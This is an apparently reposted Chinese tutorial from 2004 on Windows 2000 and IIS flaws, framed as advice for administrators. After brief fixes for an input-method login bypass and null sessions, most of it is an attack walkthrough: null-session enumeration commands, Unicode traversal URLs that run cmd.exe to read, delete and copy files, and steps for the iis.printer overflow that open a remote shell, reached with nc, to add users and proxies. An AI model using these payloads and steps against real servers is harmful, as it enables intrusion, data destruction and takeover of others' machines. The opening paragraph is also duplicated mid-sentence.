首页 电脑 电脑学堂 查看内容

菜鸟必修教程

2004-9-29 20:05 627 0

摘要: 本文详细介绍黑客在攻击Windows2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只...
关键词: 输入法 命令 漏洞 系统 Registered 文件 scripts 帮助 Windows2000 SYSTEM

本文详细介绍黑客在攻击Windows2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只本文详细介绍黑客在攻击Windows2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只有绝对愚蠢的管理员。”只要我们的网络管理员能够细心地维护系统,相信黑客们是没有可乘之机的。 输入法漏洞   这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动Windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了Windows2000的用户登录验证机制,并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我们进入系统后,还可以利用Terminal Server远程通信这个漏洞对系统进行攻击。默认的Windows2000系统自带的输入法中有这个漏洞的是:智能ABC,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。 1、把不需要的输入法删除掉,例如郑码等。 2、但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是: ※ WINIME.CHM 输入法操作指南 ※ WINSP.CHM 双拼输入法帮助 ※ WINZM.CHM 郑码输入法帮助 ※ WINPY.CHM 全拼输入法帮助 ※ WINGB.CHM 内码输入法帮助 3、强烈建议用户打SP3补丁。 NetBIOS的信息泄漏    IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息: net use \\server\IPC$ "" /user:"" //此命令用来建立一个空会话 net view \\server //此命令用来查看远程服务器的共享资源 服务器名称      注释 ------------------------------------------------------- \\pc1 \\pc2 命令成功完成。 net time \\server //此命令用来得到一个远程服务器的当前时间。 nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表 NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- NULL <00> UNIQUE Registered NULL <20> UNIQUE Registered INTERNET <00> GROUP Registered XIXI <03> UNIQUE Registered INet~Services <1C> GROUP Registered IS~NULL...... <00> UNIQUE Registered INTERNET <1E> GROUP Registered ADMINISTATOR <03> UNIQUE Registered INTERNET <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUP Registered MAC Address = 00-54-4F-34-D8-80 看到了吗?上面出现了两个<03>,这里就看到了对方所有的用户名。 对应的修改方法: HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA Value Name: RestrictAnonymous Data Type: REG_DWORD Value: 1   如果你不需要这个服务的话,你可以使用以下命令来删除: net share ipc$ /del /这条命令是用来删除空会话 net share admin$ /del /这条命令就删除了管理共享 UNICODE编码漏洞简单利用的命令 http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 看到的目录是空的:(例如) Directory of C:\inetpub\scripts 2000-09-28 15:49 〈DIR〉 . 2000-09-28 15:49 〈DIR〉 .. 如果我们这样输入的话: http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 就可以看到该主机c:盘的目录和文件了。 其他的一些简单的用法: 1、显示文件内容 如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的) http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt 那么该文件的内容就可以通过IE显示出来。 2、建立文件夹的命令 http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy 运行后我们可以看到返回这样的结果: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: 英文意思是 CGI错误 具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为: 3、删除空的文件夹命令: http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy 返回信息同上 4、删除文件的命令: http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt 返回信息同上 5、copy文件且改名的命令: http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt bad.txt 返回信息: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: 1 file(s) copied. iis.printer溢出攻击 1,准备iishack,本站有下载,该版本可以对多种系统进行攻击。 2,用x-scan或流光扫描一个有iis.printer漏洞的主机,然后就可以攻击了。 3,在命令行方式执行iis5hack (主机ip) (端口号,默认80)(系统代号,具体可参考程序的说明) ( shell口) 例如:iis5hack 11.11.22.22 80 1 111(以为在111端口开一个shell) 4,用nc或telnet连上,nc/telnet 11.11.22.22 111,成功的话就可以控制机器了,加个用户,做个代理……
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部